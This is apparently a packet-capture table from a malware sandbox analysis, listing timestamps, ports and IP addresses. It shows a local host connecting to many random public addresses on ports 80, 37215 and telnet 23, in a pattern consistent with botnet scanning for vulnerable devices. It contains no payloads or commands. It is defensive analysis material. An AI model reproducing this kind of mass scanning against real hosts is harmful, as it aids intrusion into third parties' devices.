Dec 3, 2024 22:16:49.647008896 CET	80	50074	178.167.225.20	192.168.2.23
Dec 3, 2024 22:16:49.648369074 CET	80	42740	126.110.141.44	192.168.2.23
Dec 3, 2024 22:16:49.648377895 CET	80	53878	219.159.129.91	192.168.2.23
Dec 3, 2024 22:16:49.649171114 CET	80	35534	44.223.88.222	192.168.2.23
Dec 3, 2024 22:16:49.649179935 CET	80	35752	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:49.652465105 CET	80	51992	44.100.34.190	192.168.2.23
Dec 3, 2024 22:16:49.652473927 CET	80	46196	59.87.238.43	192.168.2.23
Dec 3, 2024 22:16:49.652482033 CET	80	50606	106.119.111.49	192.168.2.23
Dec 3, 2024 22:16:49.652488947 CET	80	36024	161.83.220.85	192.168.2.23
Dec 3, 2024 22:16:49.652806044 CET	80	51966	115.64.13.91	192.168.2.23
Dec 3, 2024 22:16:49.667231083 CET	37215	52870	156.126.99.239	192.168.2.23
Dec 3, 2024 22:16:49.667331934 CET	52870	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.667372942 CET	37215	44360	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:49.667545080 CET	80	42698	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:49.667557001 CET	80	51504	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:49.667560101 CET	52870	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.667560101 CET	52870	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.667907000 CET	52974	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.669140100 CET	80	52012	101.26.29.84	192.168.2.23
Dec 3, 2024 22:16:49.669150114 CET	80	41702	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:49.669157982 CET	80	37950	159.180.151.117	192.168.2.23
Dec 3, 2024 22:16:49.669167042 CET	80	35558	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:49.669243097 CET	80	54340	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:49.669250965 CET	80	53678	13.77.179.192	192.168.2.23
Dec 3, 2024 22:16:49.669255018 CET	80	59488	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:49.669259071 CET	80	55748	50.18.129.224	192.168.2.23
Dec 3, 2024 22:16:49.669262886 CET	80	56390	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:49.669265985 CET	80	35510	19.67.64.37	192.168.2.23
Dec 3, 2024 22:16:49.669269085 CET	80	49242	156.47.9.159	192.168.2.23
Dec 3, 2024 22:16:49.669277906 CET	80	42384	95.148.172.170	192.168.2.23
Dec 3, 2024 22:16:49.669286966 CET	80	42738	95.148.172.170	192.168.2.23
Dec 3, 2024 22:16:49.669329882 CET	42738	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.669367075 CET	42738	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.669398069 CET	80	55882	70.48.67.132	192.168.2.23
Dec 3, 2024 22:16:49.669406891 CET	80	45530	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:49.669414997 CET	80	56374	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:49.670285940 CET	80	57510	117.255.80.131	192.168.2.23
Dec 3, 2024 22:16:49.670294046 CET	80	54544	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:49.670301914 CET	80	36100	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:49.670310020 CET	80	46164	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:49.670316935 CET	80	43316	115.161.242.231	192.168.2.23
Dec 3, 2024 22:16:49.670325041 CET	80	50814	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:49.670332909 CET	80	34050	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:49.670341015 CET	80	33746	51.0.21.42	192.168.2.23
Dec 3, 2024 22:16:49.670347929 CET	80	45496	161.115.163.88	192.168.2.23
Dec 3, 2024 22:16:49.670356035 CET	80	45846	161.115.163.88	192.168.2.23
Dec 3, 2024 22:16:49.670362949 CET	80	40354	177.102.58.160	192.168.2.23
Dec 3, 2024 22:16:49.670392036 CET	45846	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.670438051 CET	45846	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.680269957 CET	80	59838	8.163.124.143	192.168.2.23
Dec 3, 2024 22:16:49.680428028 CET	80	42718	200.134.217.200	192.168.2.23
Dec 3, 2024 22:16:49.680438042 CET	80	50274	122.157.177.130	192.168.2.23
Dec 3, 2024 22:16:49.684238911 CET	80	39452	150.32.225.133	192.168.2.23
Dec 3, 2024 22:16:49.692780018 CET	80	50074	178.167.225.20	192.168.2.23
Dec 3, 2024 22:16:49.692790031 CET	80	41426	202.130.12.212	192.168.2.23
Dec 3, 2024 22:16:49.707482100 CET	80	35510	19.67.64.37	192.168.2.23
Dec 3, 2024 22:16:49.707518101 CET	80	56390	201.216.93.118	192.168.2.23
Dec 3, 2024 22:16:49.707525969 CET	80	55748	50.18.129.224	192.168.2.23
Dec 3, 2024 22:16:49.707535982 CET	80	59488	89.148.112.82	192.168.2.23
Dec 3, 2024 22:16:49.707606077 CET	80	53678	13.77.179.192	192.168.2.23
Dec 3, 2024 22:16:49.707613945 CET	80	35558	159.216.106.173	192.168.2.23
Dec 3, 2024 22:16:49.707623959 CET	80	37950	159.180.151.117	192.168.2.23
Dec 3, 2024 22:16:49.707639933 CET	80	41702	86.199.183.40	192.168.2.23
Dec 3, 2024 22:16:49.707648039 CET	80	52012	101.26.29.84	192.168.2.23
Dec 3, 2024 22:16:49.707695961 CET	80	51504	120.125.222.84	192.168.2.23
Dec 3, 2024 22:16:49.707748890 CET	80	42698	86.87.136.30	192.168.2.23
Dec 3, 2024 22:16:49.707756996 CET	37215	44360	156.101.171.54	192.168.2.23
Dec 3, 2024 22:16:49.707767010 CET	80	35752	112.106.103.207	192.168.2.23
Dec 3, 2024 22:16:49.711457014 CET	80	54340	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:49.711492062 CET	80	40354	177.102.58.160	192.168.2.23
Dec 3, 2024 22:16:49.711502075 CET	80	45496	161.115.163.88	192.168.2.23
Dec 3, 2024 22:16:49.711514950 CET	80	33746	51.0.21.42	192.168.2.23
Dec 3, 2024 22:16:49.711524010 CET	80	34050	133.151.36.237	192.168.2.23
Dec 3, 2024 22:16:49.711530924 CET	80	50814	189.63.67.242	192.168.2.23
Dec 3, 2024 22:16:49.711618900 CET	80	43316	115.161.242.231	192.168.2.23
Dec 3, 2024 22:16:49.711627960 CET	80	46164	120.53.85.174	192.168.2.23
Dec 3, 2024 22:16:49.711635113 CET	80	36100	148.77.50.206	192.168.2.23
Dec 3, 2024 22:16:49.711642027 CET	80	54544	137.84.118.55	192.168.2.23
Dec 3, 2024 22:16:49.711647034 CET	80	57510	117.255.80.131	192.168.2.23
Dec 3, 2024 22:16:49.711653948 CET	80	56374	163.247.225.173	192.168.2.23
Dec 3, 2024 22:16:49.711661100 CET	80	45530	1.78.144.178	192.168.2.23
Dec 3, 2024 22:16:49.711668968 CET	80	55882	70.48.67.132	192.168.2.23
Dec 3, 2024 22:16:49.711675882 CET	80	42384	95.148.172.170	192.168.2.23
Dec 3, 2024 22:16:49.711683035 CET	80	49242	156.47.9.159	192.168.2.23
Dec 3, 2024 22:16:49.725373983 CET	80	36696	83.228.148.68	192.168.2.23
Dec 3, 2024 22:16:49.725384951 CET	80	37802	205.37.220.224	192.168.2.23
Dec 3, 2024 22:16:49.725424051 CET	80	37786	66.28.161.170	192.168.2.23
Dec 3, 2024 22:16:49.725431919 CET	80	52248	182.205.184.220	192.168.2.23
Dec 3, 2024 22:16:49.725441933 CET	80	44064	2.116.62.181	192.168.2.23
Dec 3, 2024 22:16:49.725717068 CET	80	41218	72.185.180.188	192.168.2.23
Dec 3, 2024 22:16:49.725724936 CET	80	40602	18.120.91.237	192.168.2.23
Dec 3, 2024 22:16:49.725770950 CET	80	48866	49.132.127.254	192.168.2.23
Dec 3, 2024 22:16:49.725779057 CET	80	60926	32.60.240.155	192.168.2.23
Dec 3, 2024 22:16:49.725788116 CET	80	33070	116.198.57.17	192.168.2.23
Dec 3, 2024 22:16:49.726171017 CET	80	39680	149.70.197.245	192.168.2.23
Dec 3, 2024 22:16:49.726180077 CET	80	44588	186.244.224.1	192.168.2.23
Dec 3, 2024 22:16:49.726187944 CET	80	52836	83.119.82.146	192.168.2.23
Dec 3, 2024 22:16:49.726196051 CET	80	48268	70.167.174.224	192.168.2.23
Dec 3, 2024 22:16:49.726207018 CET	80	37904	208.170.5.222	192.168.2.23
Dec 3, 2024 22:16:49.726433039 CET	80	37124	52.147.152.231	192.168.2.23
Dec 3, 2024 22:16:49.726442099 CET	80	55606	138.128.101.135	192.168.2.23
Dec 3, 2024 22:16:49.726454020 CET	80	55968	138.128.101.135	192.168.2.23
Dec 3, 2024 22:16:49.726510048 CET	55968	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.726682901 CET	55968	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.728352070 CET	80	52360	44.100.34.190	192.168.2.23
Dec 3, 2024 22:16:49.728410959 CET	52360	80	192.168.2.23	44.100.34.190
Dec 3, 2024 22:16:49.728490114 CET	80	59800	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.728570938 CET	59800	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.728585005 CET	59800	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.728585005 CET	59800	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.728959084 CET	59812	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.729414940 CET	80	58206	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.729466915 CET	58206	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.729506016 CET	58206	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.729506016 CET	58206	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.729806900 CET	58218	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.729907036 CET	80	49922	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.729944944 CET	49922	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.730252028 CET	49922	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.730252028 CET	49922	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.730552912 CET	49934	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.730761051 CET	80	45042	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.730797052 CET	45042	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.731055021 CET	45042	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.731055021 CET	45042	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.731235027 CET	80	57504	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.731275082 CET	57504	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.731367111 CET	45054	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.731787920 CET	57504	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.731787920 CET	57504	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.732079029 CET	57516	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.739905119 CET	80	59120	213.10.8.153	192.168.2.23
Dec 3, 2024 22:16:49.739970922 CET	59120	80	192.168.2.23	213.10.8.153
Dec 3, 2024 22:16:49.739988089 CET	59120	80	192.168.2.23	213.10.8.153
Dec 3, 2024 22:16:49.758234978 CET	80	50530	122.157.177.130	192.168.2.23
Dec 3, 2024 22:16:49.758306980 CET	50530	80	192.168.2.23	122.157.177.130
Dec 3, 2024 22:16:49.767529964 CET	80	55606	138.128.101.135	192.168.2.23
Dec 3, 2024 22:16:49.767544031 CET	80	37124	52.147.152.231	192.168.2.23
Dec 3, 2024 22:16:49.767549038 CET	80	37904	208.170.5.222	192.168.2.23
Dec 3, 2024 22:16:49.767558098 CET	80	48268	70.167.174.224	192.168.2.23
Dec 3, 2024 22:16:49.767570972 CET	80	52836	83.119.82.146	192.168.2.23
Dec 3, 2024 22:16:49.767581940 CET	80	44588	186.244.224.1	192.168.2.23
Dec 3, 2024 22:16:49.767591000 CET	80	39680	149.70.197.245	192.168.2.23
Dec 3, 2024 22:16:49.767601013 CET	80	33070	116.198.57.17	192.168.2.23
Dec 3, 2024 22:16:49.767622948 CET	80	60926	32.60.240.155	192.168.2.23
Dec 3, 2024 22:16:49.767631054 CET	80	48866	49.132.127.254	192.168.2.23
Dec 3, 2024 22:16:49.767649889 CET	80	40602	18.120.91.237	192.168.2.23
Dec 3, 2024 22:16:49.767652988 CET	80	41218	72.185.180.188	192.168.2.23
Dec 3, 2024 22:16:49.767666101 CET	80	44064	2.116.62.181	192.168.2.23
Dec 3, 2024 22:16:49.767674923 CET	80	52248	182.205.184.220	192.168.2.23
Dec 3, 2024 22:16:49.767683983 CET	80	37786	66.28.161.170	192.168.2.23
Dec 3, 2024 22:16:49.767693043 CET	80	37802	205.37.220.224	192.168.2.23
Dec 3, 2024 22:16:49.767699957 CET	80	36696	83.228.148.68	192.168.2.23
Dec 3, 2024 22:16:49.788274050 CET	37215	52870	156.126.99.239	192.168.2.23
Dec 3, 2024 22:16:49.788398027 CET	37215	52974	156.126.99.239	192.168.2.23
Dec 3, 2024 22:16:49.788563967 CET	52974	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.788563967 CET	52974	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.790426016 CET	80	42738	95.148.172.170	192.168.2.23
Dec 3, 2024 22:16:49.790471077 CET	42738	80	192.168.2.23	95.148.172.170
Dec 3, 2024 22:16:49.791224957 CET	80	45846	161.115.163.88	192.168.2.23
Dec 3, 2024 22:16:49.791294098 CET	45846	80	192.168.2.23	161.115.163.88
Dec 3, 2024 22:16:49.835477114 CET	37215	52870	156.126.99.239	192.168.2.23
Dec 3, 2024 22:16:49.846883059 CET	80	55968	138.128.101.135	192.168.2.23
Dec 3, 2024 22:16:49.846983910 CET	55968	80	192.168.2.23	138.128.101.135
Dec 3, 2024 22:16:49.848531961 CET	80	59800	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.848862886 CET	80	59812	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.849026918 CET	59812	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.849026918 CET	59812	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.849345922 CET	80	58206	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.849746943 CET	80	58218	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.849798918 CET	58218	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.849843979 CET	58218	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.850169897 CET	80	49922	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.850454092 CET	80	49934	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.850496054 CET	49934	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.850555897 CET	49934	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.850961924 CET	80	45042	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.851207018 CET	80	45054	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.851255894 CET	45054	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.851290941 CET	45054	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.852056980 CET	80	57504	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.852180958 CET	80	57516	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.852225065 CET	57516	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.852252007 CET	57516	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:49.861783981 CET	80	59120	213.10.8.153	192.168.2.23
Dec 3, 2024 22:16:49.861835003 CET	59120	80	192.168.2.23	213.10.8.153
Dec 3, 2024 22:16:49.891511917 CET	80	45042	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.891530037 CET	80	49922	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.891537905 CET	80	58206	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.891541004 CET	80	59800	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.899477959 CET	80	57504	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.910516024 CET	37215	52974	156.126.99.239	192.168.2.23
Dec 3, 2024 22:16:49.910679102 CET	52974	37215	192.168.2.23	156.126.99.239
Dec 3, 2024 22:16:49.969455957 CET	80	59812	111.131.4.87	192.168.2.23
Dec 3, 2024 22:16:49.969645977 CET	59812	80	192.168.2.23	111.131.4.87
Dec 3, 2024 22:16:49.970061064 CET	80	58218	146.239.100.84	192.168.2.23
Dec 3, 2024 22:16:49.970222950 CET	58218	80	192.168.2.23	146.239.100.84
Dec 3, 2024 22:16:49.970760107 CET	80	49934	73.123.193.39	192.168.2.23
Dec 3, 2024 22:16:49.970808983 CET	49934	80	192.168.2.23	73.123.193.39
Dec 3, 2024 22:16:49.971354008 CET	80	45054	155.207.215.11	192.168.2.23
Dec 3, 2024 22:16:49.971399069 CET	45054	80	192.168.2.23	155.207.215.11
Dec 3, 2024 22:16:49.972436905 CET	80	57516	186.44.230.51	192.168.2.23
Dec 3, 2024 22:16:49.972481966 CET	57516	80	192.168.2.23	186.44.230.51
Dec 3, 2024 22:16:50.515902996 CET	54246	80	192.168.2.23	219.159.129.91
Dec 3, 2024 22:16:50.515902042 CET	50974	80	192.168.2.23	106.119.111.49
Dec 3, 2024 22:16:50.515903950 CET	43108	80	192.168.2.23	126.110.141.44
Dec 3, 2024 22:16:50.515903950 CET	46564	80	192.168.2.23	59.87.238.43
Dec 3, 2024 22:16:50.515904903 CET	35902	80	192.168.2.23	44.223.88.222
Dec 3, 2024 22:16:50.515917063 CET	52334	80	192.168.2.23	115.64.13.91
Dec 3, 2024 22:16:50.515917063 CET	36392	80	192.168.2.23	161.83.220.85
Dec 3, 2024 22:16:50.547904015 CET	35864	80	192.168.2.23	19.67.64.37
Dec 3, 2024 22:16:50.547904015 CET	56106	80	192.168.2.23	50.18.129.224
Dec 3, 2024 22:16:50.547904015 CET	38188	37215	192.168.2.23	41.7.124.25
Dec 3, 2024 22:16:50.547908068 CET	56234	80	192.168.2.23	70.48.67.132
Dec 3, 2024 22:16:50.547907114 CET	34096	80	192.168.2.23	51.0.21.42
Dec 3, 2024 22:16:50.547908068 CET	57862	80	192.168.2.23	117.255.80.131
Dec 3, 2024 22:16:50.547908068 CET	38314	80	192.168.2.23	159.180.151.117
Dec 3, 2024 22:16:50.547908068 CET	49596	80	192.168.2.23	156.47.9.159
Dec 3, 2024 22:16:50.547908068 CET	56452	37215	192.168.2.23	197.193.108.120
Dec 3, 2024 22:16:50.547908068 CET	52376	80	192.168.2.23	101.26.29.84
Dec 3, 2024 22:16:50.547911882 CET	42972	80	192.168.2.23	200.134.217.200
Dec 3, 2024 22:16:50.547911882 CET	54040	80	192.168.2.23	13.77.179.192
Dec 3, 2024 22:16:50.547920942 CET	36450	80	192.168.2.23	148.77.50.206
Dec 3, 2024 22:16:50.547920942 CET	45882	80	192.168.2.23	1.78.144.178
Dec 3, 2024 22:16:50.547920942 CET	44982	37215	192.168.2.23	156.101.171.54
Dec 3, 2024 22:16:50.547920942 CET	46514	80	192.168.2.23	120.53.85.174
Dec 3, 2024 22:16:50.547940969 CET	53450	37215	192.168.2.23	197.166.40.133
Dec 3, 2024 22:16:50.547940969 CET	34400	80	192.168.2.23	133.151.36.237
Dec 3, 2024 22:16:50.547940969 CET	59846	80	192.168.2.23	89.148.112.82
Dec 3, 2024 22:16:50.547940969 CET	54702	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:50.547940969 CET	36130	80	192.168.2.23	112.106.103.207
Dec 3, 2024 22:16:50.547940969 CET	41798	80	192.168.2.23	202.130.12.212
Dec 3, 2024 22:16:50.547940969 CET	39718	80	192.168.2.23	150.32.225.133
Dec 3, 2024 22:16:50.547940969 CET	60136	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:50.547943115 CET	43666	80	192.168.2.23	115.161.242.231
Dec 3, 2024 22:16:50.547944069 CET	51164	80	192.168.2.23	189.63.67.242
Dec 3, 2024 22:16:50.547944069 CET	50448	80	192.168.2.23	178.167.225.20
Dec 3, 2024 22:16:50.547944069 CET	56726	80	192.168.2.23	163.247.225.173
Dec 3, 2024 22:16:50.547943115 CET	51882	80	192.168.2.23	120.125.222.84
Dec 3, 2024 22:16:50.547944069 CET	39548	37215	192.168.2.23	156.81.76.10
Dec 3, 2024 22:16:50.547944069 CET	56748	80	192.168.2.23	201.216.93.118
Dec 3, 2024 22:16:50.547943115 CET	39518	37215	192.168.2.23	156.170.127.69
Dec 3, 2024 22:16:50.547944069 CET	42066	80	192.168.2.23	86.199.183.40
Dec 3, 2024 22:16:50.547960997 CET	43076	80	192.168.2.23	86.87.136.30
Dec 3, 2024 22:16:50.547960997 CET	54894	80	192.168.2.23	137.84.118.55
Dec 3, 2024 22:16:50.547960997 CET	57304	37215	192.168.2.23	197.132.62.119
Dec 3, 2024 22:16:50.547998905 CET	35922	80	192.168.2.23	159.216.106.173
Dec 3, 2024 22:16:50.547998905 CET	33370	37215	192.168.2.23	41.30.218.207
Dec 3, 2024 22:16:50.547998905 CET	42194	37215	192.168.2.23	197.26.74.237
Dec 3, 2024 22:16:50.549194098 CET	37963	23	192.168.2.23	70.202.144.119
Dec 3, 2024 22:16:50.549194098 CET	37963	23	192.168.2.23	31.77.163.243
Dec 3, 2024 22:16:50.549200058 CET	37963	23	192.168.2.23	90.65.99.58
Dec 3, 2024 22:16:50.549201965 CET	37963	23	192.168.2.23	175.192.106.239
Dec 3, 2024 22:16:50.549201965 CET	37963	23	192.168.2.23	35.14.215.130
Dec 3, 2024 22:16:50.549220085 CET	37963	23	192.168.2.23	1.181.170.82
Dec 3, 2024 22:16:50.549220085 CET	37963	23	192.168.2.23	183.19.25.29
Dec 3, 2024 22:16:50.549220085 CET	37963	23	192.168.2.23	9.154.23.52
Dec 3, 2024 22:16:50.549222946 CET	37963	23	192.168.2.23	189.173.20.123
Dec 3, 2024 22:16:50.549223900 CET	37963	23	192.168.2.23	211.15.9.29
Dec 3, 2024 22:16:50.549223900 CET	37963	23	192.168.2.23	89.105.219.243
Dec 3, 2024 22:16:50.549232006 CET	37963	23	192.168.2.23	38.91.26.156
Dec 3, 2024 22:16:50.549232006 CET	37963	23	192.168.2.23	92.220.124.221
Dec 3, 2024 22:16:50.549232960 CET	37963	23	192.168.2.23	23.206.12.43
Dec 3, 2024 22:16:50.549237013 CET	37963	23	192.168.2.23	133.115.96.253
Dec 3, 2024 22:16:50.549237013 CET	37963	23	192.168.2.23	204.138.152.126
Dec 3, 2024 22:16:50.549237013 CET	37963	23	192.168.2.23	80.163.138.181
Dec 3, 2024 22:16:50.549242973 CET	37963	23	192.168.2.23	150.197.178.234
Dec 3, 2024 22:16:50.549242973 CET	37963	23	192.168.2.23	194.47.107.254
Dec 3, 2024 22:16:50.549242973 CET	37963	23	192.168.2.23	32.154.92.59
Dec 3, 2024 22:16:50.549248934 CET	37963	23	192.168.2.23	162.183.62.151
Dec 3, 2024 22:16:50.549261093 CET	37963	23	192.168.2.23	182.10.70.63
Dec 3, 2024 22:16:50.549261093 CET	37963	23	192.168.2.23	62.250.219.230
Dec 3, 2024 22:16:50.549262047 CET	37963	23	192.168.2.23	212.10.70.126
Dec 3, 2024 22:16:50.549269915 CET	37963	23	192.168.2.23	135.97.95.94
Dec 3, 2024 22:16:50.549273968 CET	37963	23	192.168.2.23	191.240.96.145
Dec 3, 2024 22:16:50.549277067 CET	37963	23	192.168.2.23	206.110.226.238
Dec 3, 2024 22:16:50.549283981 CET	37963	23	192.168.2.23	81.23.162.184
Dec 3, 2024 22:16:50.549293041 CET	37963	23	192.168.2.23	220.140.41.2
Dec 3, 2024 22:16:50.549293041 CET	37963	23	192.168.2.23	107.160.145.175
Dec 3, 2024 22:16:50.549295902 CET	37963	23	192.168.2.23	32.83.253.105
Dec 3, 2024 22:16:50.549305916 CET	37963	23	192.168.2.23	169.47.133.131
Dec 3, 2024 22:16:50.549313068 CET	37963	23	192.168.2.23	46.193.190.157
Dec 3, 2024 22:16:50.549314976 CET	37963	23	192.168.2.23	165.241.63.196
Dec 3, 2024 22:16:50.549314976 CET	37963	23	192.168.2.23	210.38.184.2
Dec 3, 2024 22:16:50.549314976 CET	37963	23	192.168.2.23	220.75.73.63
Dec 3, 2024 22:16:50.549318075 CET	37963	23	192.168.2.23	189.254.95.238
Dec 3, 2024 22:16:50.549319983 CET	37963	23	192.168.2.23	79.182.29.60
Dec 3, 2024 22:16:50.549319983 CET	37963	23	192.168.2.23	124.252.29.114
Dec 3, 2024 22:16:50.549319983 CET	37963	23	192.168.2.23	149.165.226.240
Dec 3, 2024 22:16:50.549329042 CET	37963	23	192.168.2.23	84.231.23.249
Dec 3, 2024 22:16:50.549329042 CET	37963	23	192.168.2.23	176.210.250.113
Dec 3, 2024 22:16:50.549329996 CET	37963	23	192.168.2.23	99.129.78.243
Dec 3, 2024 22:16:50.549334049 CET	37963	23	192.168.2.23	86.60.228.219
Dec 3, 2024 22:16:50.549334049 CET	37963	23	192.168.2.23	23.97.106.22
Dec 3, 2024 22:16:50.549335957 CET	37963	23	192.168.2.23	212.151.154.239
Dec 3, 2024 22:16:50.549335957 CET	37963	23	192.168.2.23	223.201.203.1
Dec 3, 2024 22:16:50.549336910 CET	37963	23	192.168.2.23	182.31.169.135
Dec 3, 2024 22:16:50.549336910 CET	37963	23	192.168.2.23	218.225.40.123
Dec 3, 2024 22:16:50.549338102 CET	37963	23	192.168.2.23	71.228.214.32
Dec 3, 2024 22:16:50.549338102 CET	37963	23	192.168.2.23	143.37.63.253
Dec 3, 2024 22:16:50.549340010 CET	37963	23	192.168.2.23	190.119.164.99
Dec 3, 2024 22:16:50.549340010 CET	37963	23	192.168.2.23	182.218.221.237
Dec 3, 2024 22:16:50.549340010 CET	37963	23	192.168.2.23	38.86.94.194
Dec 3, 2024 22:16:50.549343109 CET	37963	23	192.168.2.23	78.189.82.15
Dec 3, 2024 22:16:50.549355984 CET	37963	23	192.168.2.23	148.107.59.78
Dec 3, 2024 22:16:50.549359083 CET	37963	23	192.168.2.23	180.180.164.90
Dec 3, 2024 22:16:50.549359083 CET	37963	23	192.168.2.23	181.57.89.156
Dec 3, 2024 22:16:50.549360037 CET	37963	23	192.168.2.23	86.8.126.5
Dec 3, 2024 22:16:50.549360037 CET	37963	23	192.168.2.23	169.65.244.138
Dec 3, 2024 22:16:50.549360037 CET	37963	23	192.168.2.23	163.112.191.22
Dec 3, 2024 22:16:50.549360991 CET	37963	23	192.168.2.23	62.90.191.235
Dec 3, 2024 22:16:50.549361944 CET	37963	23	192.168.2.23	216.68.78.100
Dec 3, 2024 22:16:50.549360991 CET	37963	23	192.168.2.23	113.55.42.162
Dec 3, 2024 22:16:50.549361944 CET	37963	23	192.168.2.23	128.255.57.150
Dec 3, 2024 22:16:50.549360991 CET	37963	23	192.168.2.23	87.172.136.243
Dec 3, 2024 22:16:50.549361944 CET	37963	23	192.168.2.23	165.171.37.194
Dec 3, 2024 22:16:50.549371004 CET	37963	23	192.168.2.23	188.174.23.198
Dec 3, 2024 22:16:50.549371004 CET	37963	23	192.168.2.23	162.31.86.116
Dec 3, 2024 22:16:50.549371004 CET	37963	23	192.168.2.23	209.16.98.107
Dec 3, 2024 22:16:50.549371004 CET	37963	23	192.168.2.23	172.115.197.150
Dec 3, 2024 22:16:50.549371004 CET	37963	23	192.168.2.23	219.195.50.176
Dec 3, 2024 22:16:50.549376965 CET	37963	23	192.168.2.23	101.22.221.81
Dec 3, 2024 22:16:50.549376965 CET	37963	23	192.168.2.23	205.5.250.14
Dec 3, 2024 22:16:50.549376965 CET	37963	23	192.168.2.23	187.62.44.207
Dec 3, 2024 22:16:50.549381971 CET	37963	23	192.168.2.23	182.103.236.17
Dec 3, 2024 22:16:50.549382925 CET	37963	23	192.168.2.23	95.96.30.179
Dec 3, 2024 22:16:50.549386024 CET	37963	23	192.168.2.23	131.12.203.195
Dec 3, 2024 22:16:50.549386024 CET	37963	23	192.168.2.23	34.195.7.48
Dec 3, 2024 22:16:50.549387932 CET	37963	23	192.168.2.23	156.187.191.221
Dec 3, 2024 22:16:50.549397945 CET	37963	23	192.168.2.23	193.76.233.135
Dec 3, 2024 22:16:50.549397945 CET	37963	23	192.168.2.23	149.136.154.32
Dec 3, 2024 22:16:50.549397945 CET	37963	23	192.168.2.23	147.23.141.102
Dec 3, 2024 22:16:50.549398899 CET	37963	23	192.168.2.23	188.240.84.170
Dec 3, 2024 22:16:50.549400091 CET	37963	23	192.168.2.23	196.114.238.132
Dec 3, 2024 22:16:50.549403906 CET	37963	23	192.168.2.23	69.97.236.85
Dec 3, 2024 22:16:50.549403906 CET	37963	23	192.168.2.23	19.30.17.3
Dec 3, 2024 22:16:50.549403906 CET	37963	23	192.168.2.23	72.97.74.39
Dec 3, 2024 22:16:50.549403906 CET	37963	23	192.168.2.23	73.249.169.233
Dec 3, 2024 22:16:50.549413919 CET	37963	23	192.168.2.23	126.200.104.44
Dec 3, 2024 22:16:50.549416065 CET	37963	23	192.168.2.23	89.175.233.30
